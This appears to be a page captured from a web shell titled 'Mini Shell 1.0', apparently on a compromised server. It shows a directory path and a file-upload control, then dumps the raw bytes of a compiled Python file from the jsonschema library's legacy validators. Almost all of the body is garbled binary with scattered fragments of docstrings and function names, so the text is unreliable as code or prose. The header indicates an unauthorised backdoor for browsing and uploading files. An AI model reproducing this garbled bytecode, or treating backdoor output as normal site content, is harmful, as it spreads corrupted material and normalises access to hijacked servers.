HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/jsonschema/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/jsonschema/__pycache__/_legacy_validators.cpython-311.pyc
�

�r�c���l�ddlmZddlmZd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�ZdS)�)�_utils)�ValidationErrorc�b�|�d��}|�d|fgS|���S)z�
    Ignore siblings of ``$ref`` if it is present.

    Otherwise, return all keywords.

    Suitable for use with `create`'s ``applicable_validators`` argument.
    z$ref)�get�items)�schema�refs  �?/usr/lib/python3/dist-packages/jsonschema/_legacy_validators.py�ignore_ref_siblingsrs4���*�*�V�
�
�C�
����
����|�|�~�~��c#�K�|�|d��sdS|���D]�\}}||vr�
|�|d��r|�|||���Ed{V���?|�|d��r||vr|�d|��}t|��V��r|D]}||vr|�d|��}t|��V����dS)N�object��schema_path�string� is a dependency of )�is_typer�descendr)�	validator�dependencies�instancer�property�
dependency�message�eachs        r
�dependencies_draft3rsN�������X�x�0�0���� ,� 2� 2� 4� 4�3�3���*��8�#�#�����Z��2�2�	3� �(�(��*�(�)���
�
�
�
�
�
�
�
��
�
�z�8�
4�
4�	3���)�)�'�K�K�x�K�K��%�g�.�.�.�.�.��"�
3�
3���x�'�'�!%�I�I�X�I�I�G�)�'�2�2�2�2�2��
3�3�3rc#�$K�|�|d��sdS|���D]`\}}||vr�
|�|d��r"|D]}||vr|�d|��}t|��V���B|�|||���Ed{V���adS)z�
    Support for the ``dependencies`` keyword from pre-draft 2019-09.

    In later drafts, the keyword was split into separate
    ``dependentRequired`` and ``dependentSchemas`` validators.
    rN�arrayrr)rrrr)rrrrrrrrs        r
�!dependencies_draft4_draft6_draft7r+s�������X�x�0�0���� ,� 2� 2� 4� 4�����*��8�#�#�����Z��1�1�	�"�
3�
3���x�'�'�!%�I�I�X�I�I�G�)�'�2�2�2�2�2��
3�
!�(�(��*�(�)���
�
�
�
�
�
�
�
��rc#�K�tj|��D]F}|�d|gi����|��r|�d|��}t	|��V��GdS)N�type�rz is disallowed for )r�ensure_list�evolve�is_validr)r�disallowrr�
disallowedrs      r
�disallow_draft3r(Is������(��2�2�+�+�
����F�Z�L�#9��:�:�C�C�H�M�M�	+�#�F�F�(�F�F�G�!�'�*�*�*�*�*��+�+rc#��K�|�|d��r|�||��Ed{V��dSt|��D]#\}}|�|||���Ed{V���$dS)Nrr)rr�	enumerate)r�extendsrr�index�	subschemas      r
�extends_draft3r.Ps���������(�+�+���$�$�X�w�7�7�7�7�7�7�7�7�7���%�g�.�.�M�M���y��$�$�X�y�e�$�L�L�L�L�L�L�L�L�L�L�M�Mrc#�ZK�|�|d��sdS|�|d��r5t|��D]#\}}|�|||���Ed{V���$dStt|��|��D]'\\}}}|�||||���Ed{V���(dS)Nrr��path�r1r)rr*r�zip�rrrrr,�itemr-s       r
�items_draft3_draft4r6Xs�������X�w�/�/���������)�)��$�X�.�.�	B�	B�K�E�4� �(�(��u�5�(�A�A�A�A�A�A�A�A�A�A�	B�	B�),�I�h�,?�,?��(G�(G�	�	�$�M�U�D�9� �(�(��i�e��)���
�
�
�
�
�
�
�
�	�	rc#�ZK�|�|d��sdS|�|d��rGtt|��|��D]'\\}}}|�||||���Ed{V���(dSt|��D]#\}}|�|||���Ed{V���$dS)Nrr2r0)rr3r*rr4s       r
�items_draft6_draft7_draft201909r8fs�������X�w�/�/���������(�(�B�(+�I�h�,?�,?��(G�(G�	�	�$�M�U�D�9� �(�(��i�e��)���
�
�
�
�
�
�
�
�	�	�
%�X�.�.�	B�	B�K�E�4� �(�(��u�5�(�A�A�A�A�A�A�A�A�A�A�	B�	Brc#��K�|�|d��sdS|�dd��r	||k}d}n||k}d}|r|�d|�d|��}t|��V�dSdS)N�number�exclusiveMinimumFzless than or equal toz	less than� is z the minimum of �rrr)r�minimumrr�failed�cmprs       r
�minimum_draft3_draft4rAts��������X�x�0�0����
�z�z�$�e�,�,���W�$��%����G�#����
�'��E�E�S�E�E�'�E�E���g�&�&�&�&�&�&�&�'�'rc#��K�|�|d��sdS|�dd��r	||k}d}n||k}d}|r|�d|�d|��}t|��V�dSdS)Nr:�exclusiveMaximumFzgreater than or equal tozgreater thanr<z the maximum of r=)r�maximumrrr?r@rs       r
�maximum_draft3_draft4rE�s��������X�x�0�0����
�z�z�$�e�,�,���W�$��(����G�#����
�'��E�E�S�E�E�'�E�E���g�&�&�&�&�&�&�&�'�'rc#��K�|�|d��sdS|���D]�\}}||vr&|�|||||���Ed{V���/|�dd��rkt	|�d���}|�d|d||���|j�|��|j�	|dg��|V���dS)Nrr2�requiredFz is a required property)r�validator_valuerr)
rrrrr�_setr1�
appendleftr�extend)r�
propertiesrrrr-�errors       r
�properties_draft3rN�sA�������X�x�0�0����)�/�/�1�1�����)��x��� �(�(���"���$�	)���
�
�
�
�
�
�
�
��]�]�:�u�
-�
-�
	�#�x�$J�$J�$J�K�K�E��J�J�$� )�*� 5�!��	
�
�
�
�
�J�!�!�(�+�+�+���$�$�h�
�%;�<�<�<��K�K�K��%�rc#�XK�tj|��}g}t|��D]t\}}|�|d��r@t	|�|||�����}|sdS|�|���[|�||��rdS�ug}|D]]}	|�t|d�����,#t$r%|�t|����Y�ZwxYwt|�dd�|����|���V�dS)Nrr�namez is not of type z, )�context)rr#r*r�listrrK�append�repr�	Exceptionr�join)	r�typesrr�
all_errorsr,r!�errors�reprss	         r
�type_draft3r[�sz������u�%�%�E��J� ��'�'�
�
���t����T�8�,�,�	��)�+�+�H�d��+�N�N�O�O�F��
�������f�%�%�%�%�� � ��4�0�0�
����
����	)�	)�D�
)����T�$�v�,�/�/�0�0�0�0���
)�
)�
)����T�$�Z�Z�(�(�(�(�(�
)������=�=�4�9�9�U�+;�+;�=�=��
�
�
�	
�	
�	
�	
�	
s�$(C
�
,C<�;C<c#���K���|d��sdSt��fd�|D����std|�d���V�dSdS)Nrc3�j�K�|]-}�������|��V��.dS)r"N)r$r%)�.0�element�containsrs  ��r
�	<genexpr>z)contains_draft6_draft7.<locals>.<genexpr>�sV��������	�����)�)�2�2�7�;�;������rzNone of z! are valid under the given schema)r�anyr)rr`rrs``  r
�contains_draft6_draft7rc�s����������X�w�/�/����������������
��D�x�D�D�D�
�
�	
�	
�	
�	
�	
�	
�
rc�B�|jj|j}}t|jjdd���D]7}|j�|��\}}|�d��r|}�7|�d��}|j�||��}	|	gS)N�z$recursiveAnchor�#)	�resolver�resolution_scoper�reversed�
_scopes_stack�resolver�lstrip�resolve_fragment)
r�recursiveRefrr�
lookup_url�targetr�next_target�fragmentr-s
          r
rnrn�s���"�+�<�i�>N��J���+�9�!�"�"�=�>�>����"+�"4�"<�"<�T�"B�"B��
�K��?�?�-�.�.�	� �F�F���"�"�3�'�'�H��"�3�3�F�H�E�E�I��I�
�IrN)�
jsonschemar�jsonschema.exceptionsrrrrr(r.r6r8rArErNr[rcrn�rr
�<module>rvs���������1�1�1�1�1�1����3�3�3�.���<+�+�+�M�M�M����B�B�B�
'�
'�
'� 
'�
'�
'� ���2
�
�
�4

�

�

�����r